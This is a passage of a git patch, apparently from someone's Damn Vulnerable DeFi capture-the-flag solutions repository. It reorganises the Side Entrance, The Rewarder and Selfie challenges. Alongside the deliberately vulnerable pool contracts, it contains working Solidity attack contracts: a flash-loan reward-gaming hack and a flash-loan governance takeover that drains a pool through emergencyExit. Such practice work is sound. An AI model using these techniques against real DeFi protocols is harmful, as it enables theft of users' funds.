From c83421aa6d1c8f1e79ce9fd62c629d6f12b61e0c Mon Sep 17 00:00:00 2001 From: Boris Date: Thu, 12 Oct 2023 19:12:24 +0800 Subject: [PATCH] a --- ...nceLenderPool.sol => 04.Side-Entrance.sol} | 20 +- .../05.The-Rewarder/05.The-Rewarder.sol | 220 ++++++++++++++++ .../05.The-Rewarder/AccountingToken.sol | 62 ----- .../05.The-Rewarder/FlashLoanerPool.sol | 47 ---- .../05.The-Rewarder/RewardToken.sol | 3 - .../05.The-Rewarder/TheRewarderPool.sol | 104 -------- .../06.Selfie/06.Selfie.sol | 249 ++++++++++++++++++ .../06.Selfie/ISimpleGovernance.sol | 28 -- .../06.Selfie/SelfiePool.sol | 84 ------ .../06.Selfie/SimpleGovernance.sol | 121 --------- contracts/utils/openzeppelin/Counters.sol | 43 +++ .../utils/openzeppelin/ERC20Snapshot.sol | 195 ++++++++++++++ .../04.Side-Entrance.t.sol | 71 +++++ .../05.The-Rewarder.t.sol | 134 ++++++++++ .../CTF/Damn-Vulnerable-DeFi/06.Selfie.t.sol | 78 ++++++ 15 files changed, 995 insertions(+), 464 deletions(-) rename contracts/CTF/Damn-Vulnerable-DeFi/04.Side-Entrance/{SideEntranceLenderPool.sol => 04.Side-Entrance.sol} (80%) create mode 100644 contracts/CTF/Damn-Vulnerable-DeFi/05.The-Rewarder/05.The-Rewarder.sol delete mode 100644 contracts/CTF/Damn-Vulnerable-DeFi/05.The-Rewarder/AccountingToken.sol delete mode 100644 contracts/CTF/Damn-Vulnerable-DeFi/05.The-Rewarder/FlashLoanerPool.sol delete mode 100644 contracts/CTF/Damn-Vulnerable-DeFi/05.The-Rewarder/RewardToken.sol delete mode 100644 contracts/CTF/Damn-Vulnerable-DeFi/05.The-Rewarder/TheRewarderPool.sol create mode 100644 contracts/CTF/Damn-Vulnerable-DeFi/06.Selfie/06.Selfie.sol delete mode 100644 contracts/CTF/Damn-Vulnerable-DeFi/06.Selfie/ISimpleGovernance.sol delete mode 100644 contracts/CTF/Damn-Vulnerable-DeFi/06.Selfie/SelfiePool.sol delete mode 100644 contracts/CTF/Damn-Vulnerable-DeFi/06.Selfie/SimpleGovernance.sol create mode 100644 contracts/utils/openzeppelin/Counters.sol create mode 100644 contracts/utils/openzeppelin/ERC20Snapshot.sol create mode 100644 foundry/test/CTF/Damn-Vulnerable-DeFi/04.Side-Entrance.t.sol create mode 100644 foundry/test/CTF/Damn-Vulnerable-DeFi/05.The-Rewarder.t.sol create mode 100644 foundry/test/CTF/Damn-Vulnerable-DeFi/06.Selfie.t.sol diff --git a/contracts/CTF/Damn-Vulnerable-DeFi/04.Side-Entrance/SideEntranceLenderPool.sol b/contracts/CTF/Damn-Vulnerable-DeFi/04.Side-Entrance/04.Side-Entrance.sol similarity index 80% rename from contracts/CTF/Damn-Vulnerable-DeFi/04.Side-Entrance/SideEntranceLenderPool.sol rename to contracts/CTF/Damn-Vulnerable-DeFi/04.Side-Entrance/04.Side-Entrance.sol index a7a9b0a..7e4969e 100644 --- a/contracts/CTF/Damn-Vulnerable-DeFi/04.Side-Entrance/SideEntranceLenderPool.sol +++ b/contracts/CTF/Damn-Vulnerable-DeFi/04.Side-Entrance/04.Side-Entrance.sol @@ -2,8 +2,6 @@ pragma solidity ^0.8.0; -import "@solady/utils/SafeTransferLib.sol"; - interface IFlashLoanEtherReceiver { function execute() external payable; } @@ -32,8 +30,8 @@ contract SideEntranceLenderPool { delete balances[msg.sender]; emit Withdraw(msg.sender, amount); - - SafeTransferLib.safeTransferETH(msg.sender, amount); + (bool isSuccess,) = msg.sender.call{ value: amount }(""); + require(isSuccess, ""); } function flashLoan(uint256 amount) external { @@ -47,18 +45,12 @@ contract SideEntranceLenderPool { } } -interface IPool { - function flashLoan(uint256 amount) external; - function deposit() external payable; - function withdraw() external; -} - contract SideEntranceAttack { - IPool immutable pool; + SideEntranceLenderPool immutable pool; address immutable player; constructor(address _pool, address _player) { - pool = IPool(_pool); + pool = SideEntranceLenderPool(_pool); player = _player; } @@ -70,9 +62,7 @@ contract SideEntranceAttack { } function execute() external payable { - require(tx.origin == player); - require(msg.sender == address(pool)); - + require(msg.sender == address(pool), "msg.sender"); pool.deposit{ value: msg.value }(); } diff --git a/contracts/CTF/Damn-Vulnerable-DeFi/05.The-Rewarder/05.The-Rewarder.sol b/contracts/CTF/Damn-Vulnerable-DeFi/05.The-Rewarder/05.The-Rewarder.sol new file mode 100644 index 0000000..ec430fd --- /dev/null +++ b/contracts/CTF/Damn-Vulnerable-DeFi/05.The-Rewarder/05.The-Rewarder.sol @@ -0,0 +1,220 @@ +// SPDX-License-Identifier: MIT + +pragma solidity ^0.8.0; + +import { OwnableRoles } from "@solady/auth/OwnableRoles.sol"; +import { FixedPointMathLib } from "@solady/utils/FixedPointMathLib.sol"; +import { SafeTransferLib } from "@solady/utils/SafeTransferLib.sol"; +import { ERC20 } from "@openzeppelin/contracts-v4.7.1/token/ERC20/ERC20.sol"; +import { Address } from "@openzeppelin/contracts-v4.7.1/utils/Address.sol"; +import { ERC20Snapshot } from "@openzeppelin/contracts-v4.7.1/token/ERC20/extensions/ERC20Snapshot.sol"; +import { ReentrancyGuard } from "@openzeppelin/contracts-v4.7.1/security/ReentrancyGuard.sol"; + +import { DamnValuableToken } from "../00.Base/DamnValuableToken.sol"; + +contract RewardToken is ERC20, OwnableRoles { + uint256 public constant MINTER_ROLE = _ROLE_0; + + constructor() ERC20("Reward Token", "RWT") { + _initializeOwner(msg.sender); + _grantRoles(msg.sender, MINTER_ROLE); + } + + function mint(address to, uint256 amount) external onlyRoles(MINTER_ROLE) { + _mint(to, amount); + } +} + +contract AccountingToken is ERC20Snapshot, OwnableRoles { + uint256 public constant MINTER_ROLE = _ROLE_0; + uint256 public constant SNAPSHOT_ROLE = _ROLE_1; + uint256 public constant BURNER_ROLE = _ROLE_2; + + error NotImplemented(); + + constructor() ERC20("rToken", "rTKN") { + _initializeOwner(msg.sender); + _grantRoles(msg.sender, MINTER_ROLE | SNAPSHOT_ROLE | BURNER_ROLE); + } + + function mint(address to, uint256 amount) external onlyRoles(MINTER_ROLE) { + _mint(to, amount); + } + + function burn(address from, uint256 amount) external onlyRoles(BURNER_ROLE) { + _burn(from, amount); + } + + function snapshot() external onlyRoles(SNAPSHOT_ROLE) returns (uint256) { + return _snapshot(); + } + + function _transfer(address, address, uint256) internal pure override { + revert NotImplemented(); + } + + function _approve(address, address, uint256) internal pure override { + revert NotImplemented(); + } +} + +contract FlashLoanerPool is ReentrancyGuard { + using Address for address; + + ERC20 public immutable liquidityToken; + + error NotEnoughTokenBalance(); + error CallerIsNotContract(); + error FlashLoanNotPaidBack(); + + constructor(address liquidityTokenAddress) { + liquidityToken = ERC20(liquidityTokenAddress); + } + + function flashLoan(uint256 amount) external nonReentrant { + uint256 balanceBefore = liquidityToken.balanceOf(address(this)); + + if (amount > balanceBefore) { + revert NotEnoughTokenBalance(); + } + + // @audit-issue can be bypassed if we call it from a constructor + if (!msg.sender.isContract()) { + revert CallerIsNotContract(); + } + + liquidityToken.transfer(msg.sender, amount); + + msg.sender.functionCall(abi.encodeWithSignature("receiveFlashLoan(uint256)", amount)); + + if (liquidityToken.balanceOf(address(this)) < balanceBefore) { + revert FlashLoanNotPaidBack(); + } + } +} + +contract TheRewarderPool { + using FixedPointMathLib for uint256; + + // Minimum duration of each round of rewards in seconds + uint256 private constant REWARDS_ROUND_MIN_DURATION = 5 days; + + uint256 public constant REWARDS = 100 ether; + + // Token deposited into the pool by users + address public immutable liquidityToken; + + // Token used for internal accounting and snapshots + // Pegged 1:1 with the liquidity token + AccountingToken public immutable accountingToken; + + // Token in which rewards are issued + RewardToken public immutable rewardToken; + + uint128 public lastSnapshotIdForRewards; + uint64 public lastRecordedSnapshotTimestamp; + uint64 public roundNumber; // Track number of rounds + mapping(address => uint64) public lastRewardTimestamps; + + error InvalidDepositAmount(); + + constructor(address _token) { + // Assuming all tokens have 18 decimals + liquidityToken = _token; + accountingToken = new AccountingToken(); + rewardToken = new RewardToken(); + + _recordSnapshot(); + } + + /** + * @notice Deposit `amount` liquidity tokens into the pool, minting accounting tokens in exchange. + * Also distributes rewards if available. + * @param amount amount of tokens to be deposited + */ + function deposit(uint256 amount) external { + if (amount == 0) { + revert InvalidDepositAmount(); + } + + accountingToken.mint(msg.sender, amount); + distributeRewards(); + + SafeTransferLib.safeTransferFrom(liquidityToken, msg.sender, address(this), amount); + } + + function withdraw(uint256 amount) external { + accountingToken.burn(msg.sender, amount); + SafeTransferLib.safeTransfer(liquidityToken, msg.sender, amount); + } + + function distributeRewards() public returns (uint256 rewards) { + if (isNewRewardsRound()) { + _recordSnapshot(); + } + + uint256 totalDeposits = accountingToken.totalSupplyAt(lastSnapshotIdForRewards); + uint256 amountDeposited = accountingToken.balanceOfAt(msg.sender, lastSnapshotIdForRewards); + + if (amountDeposited > 0 && totalDeposits > 0) { + // @audit-issue doesn't take into consideration deposited time + rewards = amountDeposited.mulDiv(REWARDS, totalDeposits); + if (rewards > 0 && !_hasRetrievedReward(msg.sender)) { + // @audit-issue no CEI + rewardToken.mint(msg.sender, rewards); + lastRewardTimestamps[msg.sender] = uint64(block.timestamp); + } + } + } + + function _recordSnapshot() private { + lastSnapshotIdForRewards = uint128(accountingToken.snapshot()); + lastRecordedSnapshotTimestamp = uint64(block.timestamp); + unchecked { + ++roundNumber; + } + } + + function _hasRetrievedReward(address account) private view returns (bool) { + return ( + lastRewardTimestamps[account] >= lastRecordedSnapshotTimestamp + && lastRewardTimestamps[account] <= lastRecordedSnapshotTimestamp + REWARDS_ROUND_MIN_DURATION + ); + } + + function isNewRewardsRound() public view returns (bool) { + return block.timestamp >= lastRecordedSnapshotTimestamp + REWARDS_ROUND_MIN_DURATION; + } +} + +contract TheRewarderHack { + FlashLoanerPool flashloan; + TheRewarderPool pool; + DamnValuableToken dvt; + RewardToken reward; + address internal player; + + constructor(address _flashloan, address _pool, address _dvt, address _reward) { + flashloan = FlashLoanerPool(_flashloan); + pool = TheRewarderPool(_pool); + dvt = DamnValuableToken(_dvt); + reward = RewardToken(_reward); + player = msg.sender; + } + + function attack(uint256 amount) external { + flashloan.flashLoan(amount); + } + + function receiveFlashLoan(uint256 amount) external { + dvt.approve(address(pool), amount); + // deposit liquidity token get reward token + pool.deposit(amount); + // withdraw liquidity token + pool.withdraw(amount); + // repay to flashloan + dvt.transfer(address(flashloan), amount); + uint256 rewardBalance = reward.balanceOf(address(this)); + reward.transfer(player, rewardBalance); + } +} diff --git a/contracts/CTF/Damn-Vulnerable-DeFi/05.The-Rewarder/AccountingToken.sol b/contracts/CTF/Damn-Vulnerable-DeFi/05.The-Rewarder/AccountingToken.sol deleted file mode 100644 index c2b4972..0000000 --- a/contracts/CTF/Damn-Vulnerable-DeFi/05.The-Rewarder/AccountingToken.sol +++ /dev/null @@ -1,62 +0,0 @@ -// SPDX-License-Identifier: MIT - -pragma solidity ^0.8.0; - -import "@openzeppelin/contracts-v4.7.1/token/ERC20/extensions/ERC20Snapshot.sol"; -import "@solady/auth/OwnableRoles.sol"; - -/** - * @title AccountingToken - * @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz) - * @notice A limited pseudo-ERC20 token to keep track of deposits and withdrawals - * with snapshotting capabilities. - */ -contract AccountingToken is ERC20Snapshot, OwnableRoles { - uint256 public constant MINTER_ROLE = _ROLE_0; - uint256 public constant SNAPSHOT_ROLE = _ROLE_1; - uint256 public constant BURNER_ROLE = _ROLE_2; - - error NotImplemented(); - - constructor() ERC20("rToken", "rTKN") { - _initializeOwner(msg.sender); - _grantRoles(msg.sender, MINTER_ROLE | SNAPSHOT_ROLE | BURNER_ROLE); - } - - function mint(address to, uint256 amount) external onlyRoles(MINTER_ROLE) { - _mint(to, amount); - } - - function burn(address from, uint256 amount) external onlyRoles(BURNER_ROLE) { - _burn(from, amount); - } - - function snapshot() external onlyRoles(SNAPSHOT_ROLE) returns (uint256) { - return _snapshot(); - } - - function _transfer(address, address, uint256) internal pure override { - revert NotImplemented(); - } - - function _approve(address, address, uint256) internal pure override { - revert NotImplemented(); - } -} - -/** - * @title RewardToken - * @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz) - */ -contract RewardToken is ERC20, OwnableRoles { - uint256 public constant MINTER_ROLE = _ROLE_0; - - constructor() ERC20("Reward Token", "RWT") { - _initializeOwner(msg.sender); - _grantRoles(msg.sender, MINTER_ROLE); - } - - function mint(address to, uint256 amount) external onlyRoles(MINTER_ROLE) { - _mint(to, amount); - } -} diff --git a/contracts/CTF/Damn-Vulnerable-DeFi/05.The-Rewarder/FlashLoanerPool.sol b/contracts/CTF/Damn-Vulnerable-DeFi/05.The-Rewarder/FlashLoanerPool.sol deleted file mode 100644 index ec436d6..0000000 --- a/contracts/CTF/Damn-Vulnerable-DeFi/05.The-Rewarder/FlashLoanerPool.sol +++ /dev/null @@ -1,47 +0,0 @@ -// SPDX-License-Identifier: MIT - -pragma solidity ^0.8.0; - -import "@openzeppelin/contracts-v4.7.1/security/ReentrancyGuard.sol"; -import "@openzeppelin/contracts-v4.7.1/utils/Address.sol"; -import "../00.Base/DamnValuableToken.sol"; - -/** - * @title FlashLoanerPool - * @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz) - * @dev A simple pool to get flashloans of DVT - */ -contract FlashLoanerPool is ReentrancyGuard { - using Address for address; - - DamnValuableToken public immutable liquidityToken; - - error NotEnoughTokenBalance(); - error CallerIsNotContract(); - error FlashLoanNotPaidBack(); - - constructor(address liquidityTokenAddress) { - liquidityToken = DamnValuableToken(liquidityTokenAddress); - } - - function flashLoan(uint256 amount) external nonReentrant { - uint256 balanceBefore = liquidityToken.balanceOf(address(this)); - - if (amount > balanceBefore) { - revert NotEnoughTokenBalance(); - } - - // @audit-issue can be bypassed if we call it from a constructor - if (!msg.sender.isContract()) { - revert CallerIsNotContract(); - } - - liquidityToken.transfer(msg.sender, amount); - - msg.sender.functionCall(abi.encodeWithSignature("receiveFlashLoan(uint256)", amount)); - - if (liquidityToken.balanceOf(address(this)) < balanceBefore) { - revert FlashLoanNotPaidBack(); - } - } -} diff --git a/contracts/CTF/Damn-Vulnerable-DeFi/05.The-Rewarder/RewardToken.sol b/contracts/CTF/Damn-Vulnerable-DeFi/05.The-Rewarder/RewardToken.sol deleted file mode 100644 index 72634af..0000000 --- a/contracts/CTF/Damn-Vulnerable-DeFi/05.The-Rewarder/RewardToken.sol +++ /dev/null @@ -1,3 +0,0 @@ -// SPDX-License-Identifier: MIT - -pragma solidity ^0.8.0; diff --git a/contracts/CTF/Damn-Vulnerable-DeFi/05.The-Rewarder/TheRewarderPool.sol b/contracts/CTF/Damn-Vulnerable-DeFi/05.The-Rewarder/TheRewarderPool.sol deleted file mode 100644 index 6e637bb..0000000 --- a/contracts/CTF/Damn-Vulnerable-DeFi/05.The-Rewarder/TheRewarderPool.sol +++ /dev/null @@ -1,104 +0,0 @@ -// SPDX-License-Identifier: MIT -pragma solidity ^0.8.0; - -import "@solady/utils/FixedPointMathLib.sol"; -import "@solady/utils/SafeTransferLib.sol"; -import { AccountingToken, RewardToken } from "./AccountingToken.sol"; - -/** - * @title TheRewarderPool - * @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz) - */ -contract TheRewarderPool { - using FixedPointMathLib for uint256; - - // Minimum duration of each round of rewards in seconds - uint256 private constant REWARDS_ROUND_MIN_DURATION = 5 days; - - uint256 public constant REWARDS = 100 ether; - - // Token deposited into the pool by users - address public immutable liquidityToken; - - // Token used for internal accounting and snapshots - // Pegged 1:1 with the liquidity token - AccountingToken public immutable accountingToken; - - // Token in which rewards are issued - RewardToken public immutable rewardToken; - - uint128 public lastSnapshotIdForRewards; - uint64 public lastRecordedSnapshotTimestamp; - uint64 public roundNumber; // Track number of rounds - mapping(address => uint64) public lastRewardTimestamps; - - error InvalidDepositAmount(); - - constructor(address _token) { - // Assuming all tokens have 18 decimals - liquidityToken = _token; - accountingToken = new AccountingToken(); - rewardToken = new RewardToken(); - - _recordSnapshot(); - } - - /** - * @notice Deposit `amount` liquidity tokens into the pool, minting accounting tokens in exchange. - * Also distributes rewards if available. - * @param amount amount of tokens to be deposited - */ - function deposit(uint256 amount) external { - if (amount == 0) { - revert InvalidDepositAmount(); - } - - accountingToken.mint(msg.sender, amount); - distributeRewards(); - - SafeTransferLib.safeTransferFrom(liquidityToken, msg.sender, address(this), amount); - } - - function withdraw(uint256 amount) external { - accountingToken.burn(msg.sender, amount); - SafeTransferLib.safeTransfer(liquidityToken, msg.sender, amount); - } - - function distributeRewards() public returns (uint256 rewards) { - if (isNewRewardsRound()) { - _recordSnapshot(); - } - - uint256 totalDeposits = accountingToken.totalSupplyAt(lastSnapshotIdForRewards); - uint256 amountDeposited = accountingToken.balanceOfAt(msg.sender, lastSnapshotIdForRewards); - - if (amountDeposited > 0 && totalDeposits > 0) { - // @audit-issue doesn't take into consideration deposited time - rewards = amountDeposited.mulDiv(REWARDS, totalDeposits); - if (rewards > 0 && !_hasRetrievedReward(msg.sender)) { - // @audit-issue no CEI - rewardToken.mint(msg.sender, rewards); - lastRewardTimestamps[msg.sender] = uint64(block.timestamp); - } - } - } - - function _recordSnapshot() private { - lastSnapshotIdForRewards = uint128(accountingToken.snapshot()); - lastRecordedSnapshotTimestamp = uint64(block.timestamp); - unchecked { - ++roundNumber; - } - } - - function _hasRetrievedReward(address account) private view returns (bool) { - return ( - lastRewardTimestamps[account] >= lastRecordedSnapshotTimestamp - && lastRewardTimestamps[account] <= lastRecordedSnapshotTimestamp + REWARDS_ROUND_MIN_DURATION - ); - } - - function isNewRewardsRound() public view returns (bool) { - return block.timestamp >= lastRecordedSnapshotTimestamp + REWARDS_ROUND_MIN_DURATION; - } -} diff --git a/contracts/CTF/Damn-Vulnerable-DeFi/06.Selfie/06.Selfie.sol b/contracts/CTF/Damn-Vulnerable-DeFi/06.Selfie/06.Selfie.sol new file mode 100644 index 0000000..b61ba93 --- /dev/null +++ b/contracts/CTF/Damn-Vulnerable-DeFi/06.Selfie/06.Selfie.sol @@ -0,0 +1,249 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.0; + +import { ERC20Snapshot } from "@openzeppelin/contracts-v4.7.1/token/ERC20/extensions/ERC20Snapshot.sol"; +import "@openzeppelin/contracts-v4.7.1/security/ReentrancyGuard.sol"; +import "@openzeppelin/contracts-v4.7.1/interfaces/IERC3156FlashLender.sol"; +import "@openzeppelin/contracts-v4.7.1/interfaces/IERC3156FlashBorrower.sol"; +import { DamnValuableTokenSnapshot } from "../00.Base/DamnValuableTokenSnapshot.sol"; + +interface ISimpleGovernance { + struct GovernanceAction { + uint128 value; + uint64 proposedAt; + uint64 executedAt; + address target; + bytes data; + } + + error NotEnoughVotes(address who); + error CannotExecute(uint256 actionId); + error InvalidTarget(); + error TargetMustHaveCode(); + error ActionFailed(uint256 actionId); + + event ActionQueued(uint256 actionId, address indexed caller); + event ActionExecuted(uint256 actionId, address indexed caller); + + function queueAction(address target, uint128 value, bytes calldata data) external returns (uint256 actionId); + function executeAction(uint256 actionId) external payable returns (bytes memory returndata); + function getActionDelay() external view returns (uint256 delay); + function getGovernanceToken() external view returns (address token); + function getAction(uint256 actionId) external view returns (GovernanceAction memory action); + function getActionCounter() external view returns (uint256); +} + +contract SelfiePool is ReentrancyGuard, IERC3156FlashLender { + ERC20Snapshot public immutable token; + SimpleGovernance public immutable governance; + bytes32 private constant CALLBACK_SUCCESS = keccak256("ERC3156FlashBorrower.onFlashLoan"); + + error RepayFailed(); + error CallerNotGovernance(); + error UnsupportedCurrency(); + error CallbackFailed(); + + event FundsDrained(address indexed receiver, uint256 amount); + + modifier onlyGovernance() { + if (msg.sender != address(governance)) { + revert CallerNotGovernance(); + } + _; + } + + constructor(address _token, address _governance) { + token = ERC20Snapshot(_token); + governance = SimpleGovernance(_governance); + } + + function maxFlashLoan(address _token) external view returns (uint256) { + if (address(token) == _token) { + return token.balanceOf(address(this)); + } + return 0; + } + + function flashFee(address _token, uint256) external view returns (uint256) { + if (address(token) != _token) { + revert UnsupportedCurrency(); + } + return 0; + } + + function flashLoan( + IERC3156FlashBorrower _receiver, + address _token, + uint256 _amount, + bytes calldata _data + ) + external + nonReentrant + returns (bool) + { + if (_token != address(token)) { + revert UnsupportedCurrency(); + } + + token.transfer(address(_receiver), _amount); + if (_receiver.onFlashLoan(msg.sender, _token, _amount, 0, _data) != CALLBACK_SUCCESS) { + revert CallbackFailed(); + } + + if (!token.transferFrom(address(_receiver), address(this), _amount)) { + revert RepayFailed(); + } + + return true; + } + + function emergencyExit(address receiver) external onlyGovernance { + uint256 amount = token.balanceOf(address(this)); + token.transfer(receiver, amount); + + emit FundsDrained(receiver, amount); + } +} + +contract SimpleGovernance is ISimpleGovernance { + uint256 private constant ACTION_DELAY_IN_SECONDS = 2 days; + DamnValuableTokenSnapshot private _governanceToken; + uint256 private _actionCounter; + mapping(uint256 => GovernanceAction) private _actions; + + constructor(address governanceToken) { + _governanceToken = DamnValuableTokenSnapshot(governanceToken); + _actionCounter = 1; + } + + function queueAction(address target, uint128 value, bytes calldata data) external returns (uint256 actionId) { + if (!_hasEnoughVotes(msg.sender)) { + revert NotEnoughVotes(msg.sender); + } + + if (target == address(this)) { + revert InvalidTarget(); + } + + if (data.length > 0 && target.code.length == 0) { + revert TargetMustHaveCode(); + } + + actionId = _actionCounter; + + _actions[actionId] = GovernanceAction({ + target: target, + value: value, + proposedAt: uint64(block.timestamp), + executedAt: 0, + data: data + }); + + unchecked { + _actionCounter++; + } + + emit ActionQueued(actionId, msg.sender); + } + + function executeAction(uint256 actionId) external payable returns (bytes memory) { + if (!_canBeExecuted(actionId)) { + revert CannotExecute(actionId); + } + + GovernanceAction storage actionToExecute = _actions[actionId]; + actionToExecute.executedAt = uint64(block.timestamp); + + emit ActionExecuted(actionId, msg.sender); + + (bool success, bytes memory returndata) = + actionToExecute.target.call{ value: actionToExecute.value }(actionToExecute.data); + if (!success) { + if (returndata.length > 0) { + assembly { + revert(add(0x20, returndata), mload(returndata)) + } + } else { + revert ActionFailed(actionId); + } + } + + return returndata; + } + + function getActionDelay() external pure returns (uint256) { + return ACTION_DELAY_IN_SECONDS; + } + + function getGovernanceToken() external view returns (address) { + return address(_governanceToken); + } + + function getAction(uint256 actionId) external view returns (GovernanceAction memory) { + return _actions[actionId]; + } + + function getActionCounter() external view returns (uint256) { + return _actionCounter; + } + + /** + * @dev an action can only be executed if: + * 1) it's never been executed before and + * 2) enough time has passed since it was first proposed + */ + function _canBeExecuted(uint256 actionId) private view returns (bool) { + GovernanceAction memory actionToExecute = _actions[actionId]; + + if ( + actionToExecute.proposedAt == 0 // early exit + ) { + return false; + } + + uint64 timeDelta; + unchecked { + timeDelta = uint64(block.timestamp) - actionToExecute.proposedAt; + } + + return actionToExecute.executedAt == 0 && timeDelta >= ACTION_DELAY_IN_SECONDS; + } + + function _hasEnoughVotes(address who) private view returns (bool) { + uint256 balance = _governanceToken.getBalanceAtLastSnapshot(who); + uint256 halfTotalSupply = _governanceToken.getTotalSupplyAtLastSnapshot() / 2; + return balance > halfTotalSupply; + } +} + +contract SelfieHack is IERC3156FlashBorrower { + SelfiePool pool; + SimpleGovernance governance; + DamnValuableTokenSnapshot token; + address owner; + uint256 actionId; + + constructor(address _pool, address _governance, address _token) { + owner = msg.sender; + pool = SelfiePool(_pool); + governance = SimpleGovernance(_governance); + token = DamnValuableTokenSnapshot(_token); + } + + function attack(uint256 amount) public { + // call flashloan + pool.flashLoan(IERC3156FlashBorrower(this), address(token), amount, "0x"); + } + + function onFlashLoan(address, address, uint256 amount, uint256, bytes calldata) external returns (bytes32) { + // queue action + token.snapshot(); + actionId = governance.queueAction(address(pool), 0, abi.encodeWithSignature("emergencyExit(address)", owner)); + token.approve(address(pool), amount); + return keccak256("ERC3156FlashBorrower.onFlashLoan"); + } + + function executeAction() public { + governance.executeAction(actionId); + } +} diff --git a/contracts/CTF/Damn-Vulnerable-DeFi/06.Selfie/ISimpleGovernance.sol b/contracts/CTF/Damn-Vulnerable-DeFi/06.Selfie/ISimpleGovernance.sol deleted file mode 100644 index 6cd2ab1..0000000 --- a/contracts/CTF/Damn-Vulnerable-DeFi/06.Selfie/ISimpleGovernance.sol +++ /dev/null @@ -1,28 +0,0 @@ -// SPDX-License-Identifier: MIT -pragma solidity ^0.8.0; - -interface ISimpleGovernance { - struct GovernanceAction { - uint128 value; - uint64 proposedAt; - uint64 executedAt; - address target; - bytes data; - } - - error NotEnoughVotes(address who); - error CannotExecute(uint256 actionId); - error InvalidTarget(); - error TargetMustHaveCode(); - error ActionFailed(uint256 actionId); - - event ActionQueued(uint256 actionId, address indexed caller); - event ActionExecuted(uint256 actionId, address indexed caller); - - function queueAction(address target, uint128 value, bytes calldata data) external returns (uint256 actionId); - function executeAction(uint256 actionId) external payable returns (bytes memory returndata); - function getActionDelay() external view returns (uint256 delay); - function getGovernanceToken() external view returns (address token); - function getAction(uint256 actionId) external view returns (GovernanceAction memory action); - function getActionCounter() external view returns (uint256); -} diff --git a/contracts/CTF/Damn-Vulnerable-DeFi/06.Selfie/SelfiePool.sol b/contracts/CTF/Damn-Vulnerable-DeFi/06.Selfie/SelfiePool.sol deleted file mode 100644 index c60bf79..0000000 --- a/contracts/CTF/Damn-Vulnerable-DeFi/06.Selfie/SelfiePool.sol +++ /dev/null @@ -1,84 +0,0 @@ -// SPDX-License-Identifier: MIT -pragma solidity ^0.8.0; - -import "@openzeppelin/contracts-v4.7.1/security/ReentrancyGuard.sol"; -import "@openzeppelin/contracts-v4.7.1/token/ERC20/extensions/ERC20Snapshot.sol"; -import "@openzeppelin/contracts-v4.7.1/interfaces/IERC3156FlashLender.sol"; -import "@openzeppelin/contracts-v4.7.1/interfaces/IERC3156FlashBorrower.sol"; -import "./SimpleGovernance.sol"; - -/** - * @title SelfiePool - * @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz) - */ -contract SelfiePool is ReentrancyGuard, IERC3156FlashLender { - ERC20Snapshot public immutable token; - SimpleGovernance public immutable governance; - bytes32 private constant CALLBACK_SUCCESS = keccak256("ERC3156FlashBorrower.onFlashLoan"); - - error RepayFailed(); - error CallerNotGovernance(); - error UnsupportedCurrency(); - error CallbackFailed(); - - event FundsDrained(address indexed receiver, uint256 amount); - - modifier onlyGovernance() { - if (msg.sender != address(governance)) { - revert CallerNotGovernance(); - } - _; - } - - constructor(address _token, address _governance) { - token = ERC20Snapshot(_token); - governance = SimpleGovernance(_governance); - } - - function maxFlashLoan(address _token) external view returns (uint256) { - if (address(token) == _token) { - return token.balanceOf(address(this)); - } - return 0; - } - - function flashFee(address _token, uint256) external view returns (uint256) { - if (address(token) != _token) { - revert UnsupportedCurrency(); - } - return 0; - } - - function flashLoan( - IERC3156FlashBorrower _receiver, - address _token, - uint256 _amount, - bytes calldata _data - ) - external - nonReentrant - returns (bool) - { - if (_token != address(token)) { - revert UnsupportedCurrency(); - } - - token.transfer(address(_receiver), _amount); - if (_receiver.onFlashLoan(msg.sender, _token, _amount, 0, _data) != CALLBACK_SUCCESS) { - revert CallbackFailed(); - } - - if (!token.transferFrom(address(_receiver), address(this), _amount)) { - revert RepayFailed(); - } - - return true; - } - - function emergencyExit(address receiver) external onlyGovernance { - uint256 amount = token.balanceOf(address(this)); - token.transfer(receiver, amount); - - emit FundsDrained(receiver, amount); - } -} diff --git a/contracts/CTF/Damn-Vulnerable-DeFi/06.Selfie/SimpleGovernance.sol b/contracts/CTF/Damn-Vulnerable-DeFi/06.Selfie/SimpleGovernance.sol deleted file mode 100644 index 494de00..0000000 --- a/contracts/CTF/Damn-Vulnerable-DeFi/06.Selfie/SimpleGovernance.sol +++ /dev/null @@ -1,121 +0,0 @@ -// SPDX-License-Identifier: MIT -pragma solidity ^0.8.0; - -import "../00.Base/DamnValuableTokenSnapshot.sol"; -import "./ISimpleGovernance.sol"; - -/** - * @title SimpleGovernance - * @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz) - */ - -contract SimpleGovernance is ISimpleGovernance { - uint256 private constant ACTION_DELAY_IN_SECONDS = 2 days; - DamnValuableTokenSnapshot private _governanceToken; - uint256 private _actionCounter; - mapping(uint256 => GovernanceAction) private _actions; - - constructor(address governanceToken) { - _governanceToken = DamnValuableTokenSnapshot(governanceToken); - _actionCounter = 1; - } - - function queueAction(address target, uint128 value, bytes calldata data) external returns (uint256 actionId) { - if (!_hasEnoughVotes(msg.sender)) { - revert NotEnoughVotes(msg.sender); - } - - if (target == address(this)) { - revert InvalidTarget(); - } - - if (data.length > 0 && target.code.length == 0) { - revert TargetMustHaveCode(); - } - - actionId = _actionCounter; - - _actions[actionId] = GovernanceAction({ - target: target, - value: value, - proposedAt: uint64(block.timestamp), - executedAt: 0, - data: data - }); - - unchecked { - _actionCounter++; - } - - emit ActionQueued(actionId, msg.sender); - } - - function executeAction(uint256 actionId) external payable returns (bytes memory) { - if (!_canBeExecuted(actionId)) { - revert CannotExecute(actionId); - } - - GovernanceAction storage actionToExecute = _actions[actionId]; - actionToExecute.executedAt = uint64(block.timestamp); - - emit ActionExecuted(actionId, msg.sender); - - (bool success, bytes memory returndata) = - actionToExecute.target.call{ value: actionToExecute.value }(actionToExecute.data); - if (!success) { - if (returndata.length > 0) { - assembly { - revert(add(0x20, returndata), mload(returndata)) - } - } else { - revert ActionFailed(actionId); - } - } - - return returndata; - } - - function getActionDelay() external pure returns (uint256) { - return ACTION_DELAY_IN_SECONDS; - } - - function getGovernanceToken() external view returns (address) { - return address(_governanceToken); - } - - function getAction(uint256 actionId) external view returns (GovernanceAction memory) { - return _actions[actionId]; - } - - function getActionCounter() external view returns 